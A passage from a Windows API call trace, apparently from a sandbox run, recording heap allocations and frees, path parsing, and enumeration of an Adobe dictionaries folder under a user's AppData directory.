(HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bd0 [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0061.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bd0 | out: hHeap=0x670000) returned 1 [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bd0 [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.715] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bd0 | out: hHeap=0x670000) returned 1 [0061.715] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.715] PathFindFileNameW (pszPath="") returned="" [0061.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.716] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.716] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0061.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x2fd28b0 [0061.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x3115200 [0061.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0061.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3115200 | out: hHeap=0x670000) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fd28b0 | out: hHeap=0x670000) returned 1 [0061.717] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0061.717] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0061.717] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0061.717] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 